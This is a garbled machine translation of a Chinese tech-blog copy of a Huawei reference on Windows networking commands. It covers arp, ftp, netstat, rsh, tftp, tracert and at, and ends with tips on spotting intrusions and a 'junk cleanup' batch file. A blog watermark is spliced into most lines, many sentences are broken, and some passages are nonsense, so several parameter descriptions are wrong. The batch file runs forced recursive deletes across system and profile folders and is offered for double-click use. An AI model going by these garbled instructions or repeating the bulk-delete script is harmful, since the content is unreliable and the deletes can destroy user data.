IP and physical addresses wuqingying 51cto technology blog.
1 T5-080001-20010102-C2-V1. .0 Wuqingying 51cto technology blog. .
Huawei Technologies wuqingying 51cto technology blog.
-Gwuqingying 51cto technology blog. .
With the-a.
inet_addr. .
To add a decimal tag specifies the IP address.
-N. .
Displays the network interface specified by if_addr ARP entries.
if_addrwuqingying 51cto technology blog. .
Specify whether you want to modify the address translation table interface IP address if any, if does not exist will use the wuqingying 51cto technology blog.
An applicable interface wuqingying 51cto technology blog. .
-Dwuqingying 51cto technology blog.
Remove the items specified by the inet_addr wuqingying 51cto technology blog. .
-Swuqingying 51cto technology blog.
Add in the ARP cache entry will be IP address and physical address ether_addr inet_addr associated physical address. .
By a hyphen-separated 6 hexadecimal bytes given use dotted decimal tag specifies the IP address entry.
Is permanent or time-out automatically after the expiration of items removed from the cache wuqingying 51cto technology blog. .
Ether_addrwuqingying 51cto technology blog.
Specify the physical address wuqingying 51cto technology blog. .
2. Finger。.
Finger service is running on the system display the specified information about the user's remote system output according to different variables. .
The amount of the order only if you have installed the TCP/IP protocol is only available after wuqingying 51cto technology blog.
finger [-l] [user] @ computer [. .] Wuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
2 T5-080001-20010102-C2-V1. .0 Wuqingying 51cto technology blog. .
Huawei Technologies wuqingying 51cto technology blog.
The long list of format information wuqingying 51cto technology blog. .
Userwuqingying 51cto technology blog.
To obtain information about the specified user parameter is omitted, the user specifies the computer to display all the user's information wuqingying 51cto technology blog. .
@ Computerwuqingying 51cto technology blog.
3. . Ftp. .
The file transfer service to or from a remote computer is running the FTP service of remote computing.
Machine to transfer files sometimes called daemon Ftp can be exchanged click the topic in the list. .
Ftp commands for ftp subcommand is available describing the command only if you have installed the TCP/IP protocol in..
Ftp is a service available after the event starts will be created in which a child can use the ftp command environment. .
Type quit subcommand can return from child environment to the Windows 2000 command prompt when ftp sub environment.
It runs from the ftp command prompt on behalf of wuqingying 51cto technology blog. .
Ftp [-v] [-n] [-I] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer] wuqingying 51cto technology blog.
Parameters wuqingying 51cto technology blog. .
-Vwuqingying 51cto technology blog.
Prohibit display remote server response wuqingying 51cto technology blog. .
-Nwuqingying 51cto technology blog.
Disable automatic log on to the initial connection wuqingying 51cto technology blog. .
-Iwuqingying 51cto technology blog.
Send multiple files to close interaction prompted wuqingying 51cto technology blog. .
-Dwuqingying 51cto technology blog.
Enable debug shows the client and the server for all ftp commands passed between the wuqingying 51cto technology blog. .
-Gwuqingying 51cto technology blog.
Disable file name group that allows the local file and path names use the wildcard characters * and? See wuqingying 51cto technology blog. .
Read the online command reference in the glob command wuqingying 51cto technology blog.
3 T5-080001-20010102-C2-V1. .0 Wuqingying 51cto technology blog. .
Huawei Technologies wuqingying 51cto technology blog.
-S: filenamewuqingying 51cto technology blog. .
Specifies a text file that contains the ftp command is started when the ftp commands automatically run the parameter is not allowed.
Xu spaces using the switch instead of redirection (>) wuqingying 51cto technology blog. .
-Awuqingying 51cto technology blog.
In the bundled data connection to use any local interface wuqingying 51cto technology blog. .
-W:windowsizewuqingying 51cto technology blog.
Override the default send buffer size is 4096 wuqingying 51cto technology blog. .
Computerwuqingying 51cto technology blog.
Specifies the connection to the remote computer name or IP address of the computer the computer must be OK if the specified last. .
A parameter wuqingying 51cto technology blog.
4. . Nbtstat. .
This diagnostic command uses NetBIOS over TCP/IP NBT display protocol statistics and current TCP/IP connections.
This command is only installed TCP / IP protocol can only be used wuqingying 51cto technology blog. .
Nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval] wuqingying 51cto technology blog.
Parameters wuqingying 51cto technology blog. .
-A remotenamewuqingying 51cto technology blog.
Use the remote computer's name and names of the table wuqingying 51cto technology blog. .
-A IP addresswuqingying 51cto technology blog.
Use the remote computer's IP address and lists the name of the table wuqingying 51cto technology blog. .
Given each name's IP address and list the contents of the NetBIOS name cache wuqingying 51cto technology blog.
-Nwuqingying 51cto technology blog. .
4 T5-080001-20010102-C2-V1. .0wuqingying 51cto technology blog.
Huawei Technologies wuqingying 51cto technology blog. .
Lists the local NetBIOS names registered indicates that the name has been broadcasting (Bnode) or WINS its wuqingying 51cto technology blog.
He registered wuqingying 51cto technology node type blog. .
-Rwuqingying 51cto technology blog.
Clear all NetBIOS name cache file name re-load Lmhosts wuqingying 51cto technology blog. .
-Rwuqingying 51cto technology blog.
Windows networking name resolution lists the name resolution configured to use WINS statistics in the Windows 2000. .
This option returns on your computer by means of broadcasting or WINS to resolve and the number of names registered wuqingying 51cto technology blog.
-Swuqingying 51cto technology blog. .
Displays both client and server sessions only through IP address lists the remote computer wuqingying 51cto technology blog.
-Swuqingying 51cto technology blog. .
Displays both client and server session attempts to the remote computer IP address is converted to use the hosts file name wuqingying 51cto technology blog.
intervalwuqingying 51cto technology blog. .
Redisplays selected statistics on each display interval in seconds between paused by pressing CTRL + c to stop redisplaying.
If you omit the parameter statistics nbtstat prints the current configuration information once wuqingying 51cto technology blog. .
5. Netstat。.
Display protocol statistics and current TCP / IP network connection to the command only when installed TCP / IP protocol only after. .
To use wuqingying 51cto technology blog.
netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval] wuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
-Awuqingying 51cto technology blog. .
Displays all connections and listening ports on the server connection usually does not appear wuqingying 51cto technology blog.
-Ewuqingying 51cto technology blog. .
Displays Ethernet statistics, the parameter can be used in conjunction with the-s option wuqingying 51cto technology blog.
5 T5-080001-20010102-C2-V1. .0 Wuqingying 51cto technology blog. .
Huawei Technologies wuqingying 51cto technology blog.
-Nwuqingying 51cto technology blog. .
To number format displays addresses and port numbers rather than try to find the name wuqingying 51cto technology blog.
-Swuqingying 51cto technology blog. .
Show per protocol statistics by default displays UDP ICMP and TCP-IP statistics-p option.
Can be used to specify the default subset wuqingying 51cto technology blog. .
-P protocolwuqingying 51cto technology blog.
Protocol specified by the agreement shows the connection protocol can be tcp or udp if together with the-s option. .
Use to display the statistics for each protocol can be tcp protocol icmp or udp ipwuqingying 51cto technology blog.
-Rwuqingying 51cto technology blog. .
Displays the contents of the routing table wuqingying 51cto technology blog.
intervalwuqingying 51cto technology blog. .
Redisplays selected statistics on every display interval in seconds between paused by pressing CTRL + B to stop the replay.
If you omit this parameter statistics netstat will print the current configuration information once wuqingying 51cto technology blog. .
6. Ping。.
Authentication with the remote computer to connect to the command only installed TCP / IP protocol can be used only after wuqingying 51cto technology blog. .
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] |。.
[-K computer-list]] [-w timeout] destination-listwuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
-Twuqingying 51cto technology blog. .
Ping the specified computer until interrupted wuqingying 51cto technology blog.
-Awuqingying 51cto technology blog. .
Resolve addresses to computer names wuqingying 51cto technology blog.
-N countwuqingying 51cto technology blog. .
6 T5-080001-20010102-C2-V1. .0wuqingying 51cto technology blog.
Huawei Technologies wuqingying 51cto technology blog. .
Send count specified ECHO packets with a default value of 4wuqingying 51cto technology blog.
-L lengthwuqingying 51cto technology blog. .
Send the data specified by the length of ECHO packets to the default of 32 bytes, the maximum value is.
65,527 wuqingying 51cto technology blog. .
-Fwuqingying 51cto technology blog.
In the data package to send packets do not fragment flag will not be routed on the Gateway section wuqingying 51cto technology blog. .
-I ttlwuqingying 51cto technology blog.
The survival time of the specified field is set to ttl value wuqingying 51cto technology blog. .
-V toswuqingying 51cto technology blog.
The service type field set to the value specified by tos wuqingying 51cto technology blog. .
-R countwuqingying 51cto technology blog.
Route record field in the record outgoing and return data packet routing count can be specified at least one station. .
Up to 9 computer wuqingying 51cto technology blog.
-S countwuqingying 51cto technology blog. .
Specifies the count specifies the number of hops timestamp wuqingying 51cto technology blog.
-J computer-listwuqingying 51cto technology blog. .
Use the list of specified computer computer-list routing packets continuous computer can be separated by intermediate gateways.
Sparse source IP routing to allow the maximum number of techniques for the 9wuqingying 51cto blog. .
-K computer-listwuqingying 51cto technology blog.
Using computer-list specifies a list of computers to route packets among consecutive gateway computer can not be separated. .
Strict source route IP allowed maximum is 9wuqingying 51cto technology blog.
-W timeoutwuqingying 51cto technology blog. .
Specifies the time-out interval in milliseconds wuqingying 51cto technology blog.
destination-listwuqingying 51cto technology blog. .
7-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
Specifies the remote computer to which you want to ping wuqingying 51cto technology blog.
7. . Rcp. .
On a Windows 2000-based computer and the remote shell daemon running rshd systems copy the files.
rcp command is a connection command from the Windows 2000 computer can issue the command for other. .
Transport in two computers running rshd to copy files between computers rshd daemon can UNIX computing.
Machine used in Windows 2000, Windows 2000 computers can not use it only as. .
The system involved in the remote computer must also provide by running rshd rcp utility wuqingying 51cto technology blog.
rcp [-a |-b] [-h] [-r] source1 source2. . SourceN destinationwuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
-Awuqingying 51cto technology blog. .
Specifies the ASCII transfer mode this mode in the outgoing document is carriage return/line feed conversion for carriage in the incoming text.
Parts will be converted to carriage return line feed / line feed in the model as the default transfer mode wuqingying 51cto technology blog. .
-Bwuqingying 51cto technology blog.
Specifies binary image transfer mode not implemented carriage return / line feed conversion wuqingying 51cto technology blog. .
-Hwuqingying 51cto technology blog.
Transfer Windows 2000 computer is marked as hidden attributes of the source file without the option in the rcp command. .
Order line specifies a hidden file and the file does not exist as wuqingying 51cto technology blog.
-Rwuqingying 51cto technology blog. .
All subdirectories of the source content recursively copy to the destination source and destination must be a directory even though.
Even if the source is not a directory using the-r can work but will not recursive wuqingying 51cto technology blog. .
Source and destinationwuqingying 51cto technology blog.
Format must be [computer [. . User]:] filename If you ignore the [computer [. . User]:] part of the computer. .
Assumed to be the local computer if you omit the [. .user] section will use the currently logged on Windows 2000.
Username If you use a fully qualified computer name contains a period (..) Separator must contain. .
[. .User] or the computer name of the last part is interpreted as the user name if you specify multiple source files are.
destination must be a directory wuqingying 51cto technology blog. .
8-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
If the filename does not begin with UNIX slashes (/) or a Windows 2000 system for backslash (\) begins with the false.
Fixed relative to the current working directory in Windows 2000, which is an order of the directory on the remote system. .
In this is the remote user's login directory is a period (.) indicates that the current directory in remote paths to use escape wuqingying 51cto technology blog.
Character \ "or 'to a remote computer using wildcards wuqingying 51cto technology blog..
8. Rexec。.
Running the REXEC service running on the computer command rexec remote command in the specified command before the validation. .
The user name on the remote computer has installed the TCP/IP protocol has wuqingying 51cto technology blog.
rexec computer [-l username] [-n] commandwuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
computerwuqingying 51cto technology blog. .
Specifies the remote computer to run the command wuqingying 51cto technology blog.
-L usernamewuqingying 51cto technology blog. .
Specifies the user name on the remote computer wuqingying 51cto technology blog.
-Nwuqingying 51cto technology blog. .
The input of rexec to be redirected to the NULLwuqingying 51cto technology blog.
commandwuqingying 51cto technology blog. .
Specifies the command to run wuqingying 51cto technology blog.
9. . Route. .
Control of the network routing table the command only if you have installed the TCP/IP protocol has wuqingying 51cto technology blog.
route [-f] [-p] [command [destination] [mask subnetmask] [gateway] [metric costmetric]] wuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
-Fwuqingying 51cto technology blog. .
9-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
Clear all gateway entrance of routing tables if this parameter is used in combination with a command to the routing table will be running the command.
Order is clear wuqingying 51cto technology blog. .
-Pwuqingying 51cto technology blog.
The parameters used in conjunction with the add command when the system boot process will allow routing between the persistence of default. .
The next system restart does not retain routing and print command when used in conjunction with the display registered persistent routes.
Ignore list all other routes are always affect the appropriate command wuqingying 51cto lasting technology blog. .
Commandwuqingying 51cto technology blog.
Specify the following command wuqingying 51cto technology blog. .
Command purposes.
print print routing. .
Add adds a route.
delete delete the route. .
Change to change the existing routing wuqingying 51cto technology blog.
destinationwuqingying 51cto technology blog. .
Specifies the send command computer wuqingying 51cto technology blog.
mask subnetmaskwuqingying 51cto technology blog. .
Specifies that subnet mask if you do not specify uses 255. .255. .255. .255wuqingying 51cto technology blog.
gatewaywuqingying 51cto technology blog. .
Specifies the gateway wuqingying 51cto technology blog.
Network database, called Networks Hosts file and named the computer name database files are all referenced. .
Destination or gateway to use symbolic names if the command is print or delete destination and gateway can also be used.
To use the wildcard gateway parameters can also be omitted wuqingying 51cto technology blog. .
Metric costmetricwuqingying 51cto technology blog.
Metric assigned integer from 1 to 9999 in the calculation of the fastest most reliable and cheapest route or the time to make. .
Use.
10. . Rsh. .
10-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
Running the RSH service to run commands on a remote computer the command is the TCP/IP protocol has been installed.
You can use wuqingying 51cto technology blog. .
Rsh computer [-l username] [-n] commandwuqingying 51cto technology blog.
Parameters wuqingying 51cto technology blog. .
Computerwuqingying 51cto technology blog.
Run command specifies the remote computer wuqingying 51cto technology blog. .
-L usernamewuqingying 51cto technology blog.
Specify a remote computer using the user name is used if omitted, the logged on user name wuqingying 51cto technology blog. .
-Nwuqingying 51cto technology blog.
The input will be redirected to the rsh NULLwuqingying 51cto technology blog. .
Commandwuqingying 51cto technology blog.
Designated to run the command wuqingying 51cto technology blog. .
11. Tftp。.
To transfer files to the TFTP service is running on remote computers or from the TFTP service is running the remote meter. .
Computer to transfer files to the command only if you have installed the TCP/IP protocol has wuqingying 51cto technology blog.
tftp [-i] computer [get | put] source [destination] wuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
Specifies binary image transfer mode, also known as 8-byte file in a binary image mode wuqingying 51cto technology blog. .
Bytes received a byte transmitted literally moving binary files use this mode when wuqingying 51cto technology blog.
If you omit the-i file will send ASCII mode is the default mode of transmission in this mode will EOL. .
Convert the characters carriage return for UNIX and a carriage of personal computers in shipping line feeds/should be a text file.
Use this mode if the file transfer successfully display data transfer rate wuqingying 51cto technology blog. .
11-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
Computerwuqingying 51cto technology blog.
Specify local or remote computer wuqingying 51cto technology blog. .
Putwuqingying 51cto technology blog.
The destination file on the local computer to the remote computer, transfer files sourcewuqingying 51cto technology blog. .
Getwuqingying 51cto technology blog.
If the local computer file file-two sent to the remote computer file file-one, please specify. .
Put the file on the remote computer file-one.
get. .
File-two transfer to the remote computer, please refer to the file.
Set wuqingying 51cto technology blog. .
The remote files on the destination computer and transmitted to a file on the local computer sourcewuqingying 51cto technology blog.
Because the tftp protocol does not support user authentication so the user must log on and file on the remote computer. .
Must be able to write wuqingying 51cto technology blog.
sourcewuqingying 51cto technology blog. .
Specifies that you want to transfer the files if the local file is specified as a remote file-then printed as stdout wuqingying 51cto technology blog.
Get results or from stdin if the place to read wuqingying 51cto technology blog. .
Destinationwuqingying 51cto technology blog.
Specify the location of the file sent to the destination will be assumed if omitted, with the same name wuqingying 51cto source technology blog. .
12. Tracert。.
The diagnostic utility will contain the different survival time (TTL) value of the Internet Control Message Protocol (ICMP) echo. .
Packets sent to the target to determine the destination of the route you want to forward the packet prior to on TTL.
Descending a path less necessary for each router so TTL is valid hop count packets on. .
TTL reaches 0, the router should use ICMP time exceeded message sent back to the source system before you send Tracert.
TTL of 1 to send echo packets, and each subsequent process will send TTL incremented by 1 until the target response. .
Or the maximum TTL to determine routing routing by checking the intermediate routers send ICMP is back.
Message out to determine the route, but some routers quietly, transfer the data contained expired TTL values. .
Package but do not see the tracert wuqingying 51cto technology blog.
tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_namewuqingying 51cto technology blog. .
12-T5-080001. .0wuqingying 51cto 20010102-C2-V1 blog.
Huawei Technologies wuqingying 51cto technology blog. .
Parameter wuqingying 51cto technology blog.
/ Dwuqingying 51cto technology blog. .
Specifies that you do not resolve addresses to computer names wuqingying 51cto technology blog.
-H maximum_hopswuqingying 51cto technology blog. .
Specifies the search target in the maximum hop count wuqingying 51cto technology blog.
-J computer-list. .
Specifies sparse along computer-list source routing.
-W timeout. .
Each answer wait timeout specifies the number of microseconds.
target_namewuqingying 51cto technology blog. .
Name of the target computer wuqingying 51cto technology blog.
13 T5-080001-20010102-C2-V1. .0. .
Windows 2k/2003 Server。.
1. . The most basic, the most commonly used to test the physical network. .
Ping .168.192.. .88-.10, t-t parameter is waiting for user to interrupt the test.
2. . See DNS, IP, Mac, etc.. .
A。.Win98：winipcfg。.
B. . Win2000 or above: Ipconfig / all. .
.NSLOOKUP C.: DNS as viewing Hebei.
C: \> nslookup. .
Default Server: ns。.hesjptt。.net。.cn。.
Address: 202. .99. .160. .68. .
> Server .99.202. .2 .41. changed the DNS 41. .2.
> Pop. . Pcpop. . Com. .
Server: ns。.hesjptt。.net。.cn。.
Address: 202. .99. .160. .68. .
Non-authoritative answer:。.
Name: pop. . Pcpop. . Com. .
Address: 202。.99。.160。.212。.
3. . Web Messenger. .
Net send computer name/IP | * (broadcasting) to deliver content, careful not to cross-segment.
net stop messenger stop messenger service can also be in the panel - Service changes. .
Net start messenger to start the Messenger service.
4. . Probing each other the other computer name, the host of the group, domain, and the current user name. .
Ping-a IP-t to display only the NetBios name.
nbtstat-a 192. .168. .10. .146 Relatively sound. .
5. .netstat-a display of your computer is currently opening up all ports.
netstat-s-e a more detailed display of your network information, including TCP, UDP, ICMP and IP statistics and so on. .
6. detect arp binding (dynamic and static) list that displays all connected to my computer, display each other's IP and MAC address.
arp-a. .
7. in the proxy server.
Bundled IP and MAC address, LAN address theft IP:. .
ARP －s 192。.168。.10。.59 00－50－ff－6c－08－75。.
Lifting of IP and MAC address of network card binding:. .
Arp-d network card IP.
8. . Hidden in the network neighborhood on your computer. .
net config server /hidden:yes。.
net config server / hidden: no was open. .
9. several net command.
A. . Displays the current work group server list net view, when not with Option use the command, it will display the current domain or network Shang 列表 on the computer. .
For example: to view the shared resources on IP, it can be.
C: \> net view 192. .168. .10. .8. .
In 192. .168. .10. .8 the shared resource.
Notes name type resource sharing purposes. .
--------------------------------------。.
Web Services Disk. .
The command completed successfully.
B. . See a list of user accounts on the computer net user. .
C.-view Web links net use.
For example: net use z: \ \ 192. .168. .10. .8 \ Movie will be the IP of the movie shared directory mapped to the local Z-disks. .
D.-record link net session.
For example:. .
C:\>net session。.
Computer user name the types of customers to open free time. .
-------------------------------------------------------------------------------。.
\ \ 192. .168. .10. .110 ROME Windows 2000 2195 0 00:03:12. .
\\192。.168。.10。.51 ROME Windows 2000 2195 0 00:00:39。.
The command completed successfully. .
10. route tracking.
A. . Tracert pop. . Pcpop. . Com. .
Pop B.. .pcpop .pathping. .com in addition to displaying the routing, but also provide the analysis, calculating 325S lost packets per cent.
11. . On shared security, several commands. .
A.. view your machine's net share the shared resource.
B. . Manually delete the share. .
net share c$ /d。.
net share d $ / d. .
net share ipc$ /d。.
net share admin $ / d. .
Note that the spaces are after.
C. . Add a share:. .
c:\net share mymovie=e:\downloads\movie /users:1。.
mymovie shared success. .
At the same time limit the number of users linking to one person.
12. . In the DOS line under the setting static IP. .
A.. setting a static IP.
CMD. .
netsh。.
netsh> int. .
interface>ip。.
interface ip> set add "Local Links" static IP address mask gateway. .
B.-view the IP settings.
interface ip> show address. .
Arp。.
Display and modify the "Address Resolution Protocol (ARP)" in the cache item. ARP cache contains one or more tables, they are used to store the IP address and through the analysis of Ethernet or Token Ring physical addresses. Each installed on your computer Ethernet or Token Ring network adapter has its own separate table. If no parameters, the use of the arp command will display help information. .
Syntax.
arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]. .
Parameter.
-A [InetAddr] [-N IfaceAddr]. .
Show all interface's current ARP cache table. Specify the IP address you want to display the ARP cache entries, use the ARP with InetAddr parameter-a, where InetAddr represents the specified IP address. To display the ARP cache for a specified interface, use the-N parameter where IfaceAddr IfaceAddr representative assigned to the specified IP address of the interface. The-n argument is case-sensitive.
-G [InetAddr] [-N IfaceAddr]. .
With the-a.
-D InetAddr [IfaceAddr]. .
Deletes the specified IP address entries, where InetAddr represents IP address. For the specified interface, you want to delete an item in the table, use the IfaceAddr parameter where IfaceAddr representative of assigned the IP address of the interface. To delete all entries, use the asterisk wildcard character instead of InetAddr.
-S InetAddr EtherAddr [IfaceAddr]. .
Add to the ARP cache can be resolved to an IP address InetAddr EtherAddr physical address of the static items. To specify the interface table to add a static ARP cache entries, use the IfaceAddr parameter where IfaceAddr representative of assigned the IP address of the interface.
/?. .
Displays help at the command prompt.
Note. .
InetAddr and IfaceAddr used the IP address in dotted decimal notation.
Physical Address EtherAddr of six bytes, the bytes with hexadecimal notation and separated by hyphens (eg ,00-AA-00-4F-2A-9C). .
By the-s parameter added items are static, they are not the ARP cache. If you terminate the TCP/IP Protocol on startup, these items will be deleted. To create a permanent static ARP cache entries, in batch files by using the appropriate arp command and pass the "Task Scheduler" at startup, run the batch file.
Only when the Internet Protocol (TCP / IP) protocol is installed in the network connection properties for the network adapter component, the command can be used. .
Paradigm.
To display all interfaces of the ARP cache table, type:. .
arp -a。.
For the assigned IP address is 10. .0. .0. .99 Interface, to display the ARP cache table, type:. .
arp -a -N 10。.0。.0。.99。.
To add the IP address of 10. .0. .0. .80 Resolves the physical address 00-AA-00-4F-2A-9C static ARP cache entries, type:. .
arp -s 10。.0。.0。.80 00-AA-00-4F-2A-9C。.
At. .
Plan within a specified time and date on your computer, run the command and program. At commands work only in the "program" service run time. If used without parameters, at lists scheduled commands.
Syntax. .
at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]。.
at [\ \ ComputerName] hours: minutes [/ interactive] [(/ everyate [,. .] | / Nextate [,. .])] Command]. .
Parameter.
\ \ Computername. .
Specifies the remote computer. If you omit this parameter, the at schedule command on the local computer and the program.
ID. .
Specifies the command assigned to the plan identification number.
/ Delete. .
Cancel a scheduled command. If you omit the computer ID, then all planned orders will be cancelled.
/ Yes. .
Deleting scheduled events, from any and all inquiries are answered "Yes".
hours: minutes. .
Specifies the command to run. The time is 24-hour clock (that is, from 00: 00 [Midnight] through 23: 59)-hour: minutes format.
/ Interactive. .
When you run the command for the user who is logged on, allow command as the user interacts with the desktop.
/ Every:. .
At the end of each week or month of the specified date (for example, every Thursday, or monthly on the third day) runs the command command.
date. .
Specifies that the command is run. You can specify a week on a day or several days (i.e., type M, T, W, Th, F, S, Su) or one which orange stack estate armed fu AZ: krypton blink? 1 to 31). Use a comma to separate multiple dates. If you omit the date, at the current day of the month.
/ Next:. .
In the next specifies the date (for example, next Thursday) at the dawn of run command.
command. .
Specifies that you want to run Windows command, program (.exe or .com etc..), or batch program (. .bat or .cmd file.). When the command requires the path as an argument, use an absolute path, that is from the drive letter at the beginning of the path. If the command on a remote computer, specify the server and share name of universal naming agreement (UNC) notation, rather than a remote drive letter.
/?. .
Displays help at the command prompt.
Note. .
Schtasks is a superset of the more powerful command line tools, and it contains at the command line tool in all functions. For all the command line to schedule a task that can be used to replace at schtasks. For more information about schtasks, see the "related topics".
Use at. .
Use the at command, you must be a member of the local Administrators group.
Load Cmd. . Exe. .
Before running the command does not automatically load At Cmd. .exe (command interpreter). If you do not run the executable file (. .exe), you must use the command starts with the method specifically add .exe: Cmd...
cmd / c dir> c: \ test. . Out. .
View scheduled commands.
When not used with command-line options at the time, planning tasks will appear in the table similar to the following format:. .
Status ID Day Time Command Line。.
OK 1 Each F 4:30 PM net send group leads status due. .
OK 2 Each M 12:00 AM chkstor > check。.file。.
OK 3 Each F 11:59 PM backup2. . Bat. .
Contains the identifier (ID).
When the command prompt to use with the identification number (ID) of the at command, single task item of information will be displayed in the format similar to the following:. .
Task ID： 1。.
Status: OK. .
Schedule:Each F。.
Time of Day: 4:30 PM. .
Command: net send group leads status due when the plan with at commands (especially with command-line options command), you want to type without command-line options at to check the command syntax is entered correctly. If displayed in the "command line" column information is incorrect, delete the command and retype it. If you are not correct, retype the command so that it rarely bring some command line options.
See the results. .
Use the at command scheduled to run as background processes. The results will not display on your computer. To redirect output to a file, use a redirection symbol (>. If you redirect output to a file, either on the command line or in a batch file, you will need to use at the redirection symbols by using the escape character. For example, to redirect output to a file for Output., .text type:.
at 14:45 c: \ test. . Bat ^> c: \ output. . Txt. .
Execution of the order of the current directory to the systemroot folder.
Change the system time. .
In use at schedule a command to run after that if you change the computer's system time by typing without command-line options at enables the at Scheduler with the revised system time synchronization.
Storage command. .
Scheduled commands are stored in the registry. As a result, when you restart the "program" service, you do not lose scheduled tasks.
Connected to the network drive. .
The need for access to the network of a scheduled job, please do not use a redirected drive. "The program" service may not be able to access the redirected drive, or, in the scheduled task run time if other users are logged on, the redirected drive may not appear. Therefore, for a scheduled job, use the UNC path. For example:.
at 1:00 pm my_backup \ \ server \ share. .
Please do not use the following syntax (where x:? represents user connections).
at 1:00 pm my_backup x:. .
If you plan a use drive letters at command to connect to the shared directory, you should include an at command to complete the drive when using connect disconnected from the drive. If you cannot disconnect drive, at a command prompt, the assigned drive letter is unavailable.
Example. .
To show Marketing server lists scheduled commands, type:.
at \ \ marketing. .
To understand the server identification number 3 on the Corp's command, type:.
at \ \ corp 3. .
To schedule at 8: 00 a.m. on the Corp server running on a network share, and the list will be redirected to the Maintenance server Corp. .txt file (located in the shared directory Reports), type:.
at \ \ corp 08:00 cmd / c "net share reports = d: \ marketing \ reports>> \ \ maintenance \ reports \ corp.. txt". .
For every five days after midnight the Marketing server hard drive backup to a tape drive, first create a named Archive. .cmd batch program (which contains the backup command), and then schedule the batch program to run, and type:.
at \ \ marketing 00:00 / every: 5,10,15,20,25,30 archive. .
To cancel the current server planned all command, use the following method to clear the at schedule information:.
at / delete. .
If the command to run is not an executable (. .exe) file that follows the method used before the commands to load Cmd cmd/c. .exe:.
cmd / c dir> c: \ test. . Out. We do not need to use to kill his love of soft machine on a full range of scanning, this time,. .
A few basic commands can often protect network security has played a significant role in the following few common commands even finishing:.
Detect network connection. .
If you suspect that your computer is hanging horse, but other people do the perfect tool to detect are really happens, that you can use Windows comes with network commands to see who is connected to your computer. The specific format is: netstat command.
-An this command to see all the local computer to connect the IP, which consists of four parts - proto (connection), local address (local connection address), foreign. .
Address (and the address of the local connection), state (current port status). With this command we can completely control the connection on the computer.
Disable the unknown service. .
If someone in one day, after the system restarts will find computer slows down, no matter how optimization, using antivirus software is not a problem, this time almost certainly others through invasion of your computer after you open some special services such as IIS information services, so that your antivirus software is not. But don't worry, you can use the "net.
start "to see what kind of services the system is turned on, if we find the open service is not their own, we can disable the targeted service. is to enter" net. .
Start "to view the service, if you find that you can key in the command line, and then use the" net stop server "to prevent the service.
Easy to check accounts. .
Once a period of time, those boring people always liked using the account number of methods to control your computer. Their approach is to activate a system default account, this account is not often used, and then use the tool or command that account to the administrator rights on the surface this account or and original. But malicious attackers can use this account for any control on your computer (because this account has administrative rights on the highest). To avoid this situation, you can use a very simple method to account for testing.
First, the "Start" - "Run" - "c md" - open the Run command box, command line, enter net user, see what the computer user, and then use the "net..
User + username "view this user belongs to what permissions, in addition to the administrators group is the Administrator of any name, other accounts belonging to the admin group. If you find a built-in system is part of the administrators group, that I only have sympathy for you: you're black! and others on your computer account, a clone is equivalent to the software remain a big backdoor. Do not worry, soon use "net user username/del" to delete this user!.
@ Echo off. .
Echo clearing systems junk files, please wait.
del / f / s / q% systemdrive% \ *. . Tmp. .
del /f /s /q %systemdrive%\*。._mp。.
del / f / s / q% systemdrive% \ *. . Log. .
del /f /s /q %systemdrive%\*。.gid。.
del / f / s / q% systemdrive% \ *. . Chk. .
del /f /s /q %systemdrive%\*。.old。.
del / f / s / q% systemdrive% \ recycled \ *. .*. .
del /f /s /q %windir%\*。.bak。.
del / f / s / q% windir% \ prefetch \ *. .*. .
rd /s /q %windir%\temp & md %windir%\temp。.
del / f / q% userprofile% \ cookies s \ *. .*. .
del /f /q %userprofile%\recent\*。.*。.
del / f / s / q "% userprofile% \ Local Settings \ Temporary Internet Files \ *。.*"。 .
del /f /s /q "%userprofile%\Local Settings\Temp\*。.*"。.
del / f / s / q "% userprofile% \ recent \ *。.*"。 .
Echo clearing system LJ done!.
echo. . & Pausewuqingying 51cto technology blog. .
Wuqingying 51cto technology blog.
Operation: wuqingying 51cto technology blog. .
Put the above code copy and paste into Notepad, and then put the Notepad .txt suffix.. instead of .bat, double-click on it!! ~ Oh, and if you are using Windows XP or Windows 2K so teaches a cicada of tantra – and just need the will to death all zhaoke virus!! 。.
If you are a newly installed system (or you can be sure your system is currently non-toxic), that's fine, just get on the open:. .
"Start → programs → administrative tools → computer management → local users and groups → user"!.
First of all, the super administrator password to change into a 10-digit, and then create a user, it also set a password for more than 10 and upgraded to a super administrator. This aim is to double insurance: If you forget one password, as well as using other ultra-Guan Mima landing to save the room, so that Ni was rejected Yu Xitongzhiwai; What is Wangshang the hacker can not by guessing your system over the way the remote control password access to your system to conduct damage control.。 Use only user1 landed on it.
After landing, when the Internet to find ie, for it creates a shortcut to the desktop, right-click the shortcut, select "run as other user" point determination! To the Internet when on the point of this shortcut, it will be with you use the username and password at this time you enter the user2 user name and password!!! Well, now you can use this to open the window to the Internet, and you can as you can to ease the browsing of any vicious, malicious, websites with HTML without having to worry about the move it! because the activities of your current system user user1.。 . .
However there is always a negligent, careless poisoning do?? 。.
Do not worry, now we can enjoy the performance since the shelling of the technology it!. .
Start: as a result.
Restart your computer, use the Super Administrator login - access to the system are not running after the procedure. .
